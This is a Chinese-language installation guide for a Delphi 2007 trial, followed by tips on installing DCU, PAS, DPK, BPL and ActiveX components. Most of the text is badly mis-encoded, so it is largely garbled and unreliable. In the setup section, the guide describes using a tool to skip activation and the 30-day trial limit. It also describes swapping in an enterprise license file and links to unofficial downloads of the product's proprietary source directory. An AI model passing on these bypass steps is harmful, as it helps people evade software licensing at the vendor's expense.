官方下蝲地址: http://www.codegear.com/Downloads/TrialandFreeVersions/Delphi/tabid/138/Default.aspx
? 下蝲旉要注册一个帐P其实主要是申请个30天的序列PQ?br>
二、安装Delphi2007
删除专业版自带的delphi2007.slip文g(备䆾h)Q不是就无法出现输入序列L界面Q运行setup.exeq用甌来的30天测试序列号安装。完装完成后需要用序列受申请序列号时用的邮地址、密码激z?三样~Z不可)Q但q里可以不激zȝD2007Tweaks跌卛_Q如果激zM以后也可以用D2007Tweaks跌30天限?因ؓ用的?0天限制序列号Q所以装好后没有源码Q下面提供专业版Source目录压羃包下载??br>D2007Tweaks下蝲
点击q里下蝲
专业版Source目录打包
点击q里下蝲1
点击q里下蝲2
点击q里下蝲3
点击q里下蝲4
Delphi2007 两个30天slip文gQ?br>d2007_Pro.slip 专业?br>d2007_Ent.slip 企业?br> 没有序列L朋友可以用这里提供的企业30天版slip文gq行安装。方法是替换专业版安装目录内的slip文g可以安装了?br>点击q里下蝲
装完后即是企业版了!现在你就可以慢慢体会了!
三、错误处?/strong>
1、安装时提示“Invalid Serial Number”
删除C:\Documents and Settings\All Users\Application Data\下的CodeGear目录(此处C为系l盘)Q另外有不能安装在中文目录下?br>2、完装后提示要协?br> 用D2007Tweaks跌卛_?br>
四、其他发?/strong>
1、安装程序会所有文件解压到下面目录中!
C:\Documents and Settings\XXXX\Local Settings\Application Data\{AB3EC276-D261-4943-A921-1CC1C6799AED}
1 只有一个DCU文g的组件。DCU文g是编译好的单元文Ӟq样的组件是作者不x源码公布。一般来_作者必说明此lg适合Delphi的哪U版本,如果版本不对Q在安装时就会出现错误。也正是因ؓ没有源码Q给使用者带来了不便Q那是一旦Delphi版本升Q此lg׃能再使用了,当然有的作者给Z几种版本的DCU文gQ用h据需要选择使用。这Llg的安装方法是Q在Component菜单中,选择install componentQ在对话?
"into existing package"中Q单几ZUnit file name”后的“Browse”按扭,在打开的文件对话框中,“文件类型”设定ؓ*.dcuQ找到要安装的DCU文gQ按OK按钮q回"into existing package"后再按OK按钮可以安装了。注意,此时Delphi会提Cdclusr40.dpk被重徏Q是否l,OK可以了。这里是组件安装到dclusr40.dpk包中Q此包从文g名上可以看出是用戯定义lg包,先安装到q个包中吧,下面再讲有关注意事项。安装完毕会有已l将lg注册完的提示信息以及安装到哪个组仉中的信息{,到组仉板上看看Q一般会出现一个新的组仉Q其中有刚安装的lg。?
2?只有PAS文g或既有PAS又有DCU文g的组件。这U组件因为有PAS文gQ也是说作者提供了源码Q这好办多了。安装的Ҏ和上面是一LQ在文gcd中可以设定ؓDCU也可以设定ؓPASQ徏议设定ؓPASQ这样可用你的Delphi重新~译一下,看是否会出现问题。Delphi升后只能选择PAS文g安装Q这h能重新编译,使得lg能适应新Delphi版本。这Llg是很值得使用的,Ҏ心铃的经验,没有源码的组件最好不要用,一是存在Delphi版本升后无法用的问题Q再者当E序出现问题后用h法调试组件来判断是否是组件中存在BUG。?
3、有dpk文g的组件包。带有dpk文g的组件包一般是有多个组件构成的Q也是说安装后会有多个lg供用,如果只有一个组件作者一般不会制成DPK文gQ用上面的方式发布可以了。对于这Llg包,一般来说会有详l的安装说明文gQ如上面提到的RXLIBQ由于组件复杂且安装时有先后序Q作者不提供安装说明用户Ҏ无法正确安装。如果没有安装说明文Ӟ那么用下面的Ҏ安装Q在File菜单下,选择”OPEN…”打开dpk文g(文gcd列表框中?.dpk)Q在出现的PackageH口中,工具栏上有Install按钮Q按此按钮即可进行安装。如果Install按钮处于无效状态,那么先按Compile按钮~译Q一般来说编译之后Install按钮׃处于有效状态,此时再按Install按钮可以了。?
4?带有Bpl文g的组件包。一般来说这也是由多U组件构成的lg包,它其实是一个动态连接库文gQDLLQ。对于这U组件包的安装方法是Q在component菜单下选择“install packages”,然后单击Add按钮Q在打开的文件对话框中找到相应的bpl文g打开q回后,再单击Ok按钮可以了。?
5、ActiveX控g的安装。要安装q类控gQ需要先用regsvr32.exe注册Q然后选择Component菜单中Import ActiveX ControlV在Import ActiveX Control打开的窗口中Q只有已l注册的ActiveX控g才出现在列表中,选中一个然后按Install按钮可以安装了。如果事先没有用regsvr32.exe注册也可以按ADD按钮扑ֈOCX文gx注册Q注册后再进行安装?
几点说明Q?
1 在拿到组件后先看是否有说明文Ӟ一般来说在说明文g中有如何安装的指|有些q会有组件的属性、事件、方法的使用说明Q这些在使用时是非常重要的?
2 在上面的lgQ包Q安装操作之前,最好将 *.bpl拯C的System目录中,?*.pas?.dcu?.dcr?.dp?拯到Delphi的Lib目录中再q行?
3 前面我们提到安装DCUlgӞ选用的是已经存在的dclusr40.dpkQ当然也可以选择安装C个新的包中,如果选择新包Q需要先取一个名字比如DEMOQ事实上安装完毕后用户可以找到的是Demo.bplQ而找不到DEMO.DPK。假如你已经一个组件安装到dclusr40.dpk中了Q还惛_安装一个组Ӟ如果再安装到dclusr40.dpk中,安装后你得到提示Q原来安装的那个lg已经被取消注册,你将无法使用了。这样不成了只能安装一个组件了吗?除非你再安装C个新的包中才可以两个lg同时使用。当然每安装一个组件生成一个新的BPL文g也未偿不可,但BPL文g增加许多。能否在dclusr40.dpk中多安装几个lg呢?当然是可以的。方法如下:用File菜单下的OPEN打开dclusr40.dpk文gQ单击ADD按钮Q在打开的对话框中选择ADD UNIT面Q按Unit file name后的“Browse”按钮打开lg单元文gQOK卛_Q用此种Ҏq样可添加多个组件的单元文gQ添加完毕,按一下编译按钮,然后再按Install按钮卛_Q如果单元文件是~译好的QDCUQ可以直接按安装按钮?
4 lg的删除。光会安装可不行Q还要会删除呀。很单,在component菜单下,选择install packagesQ在列表中找到安装所在的BplQ按Remove按钮QokQ再把Bpl文g删掉彻底了Q如果不删除BPL文gQ下ơ可以按安装BPLlg的方法再安装使用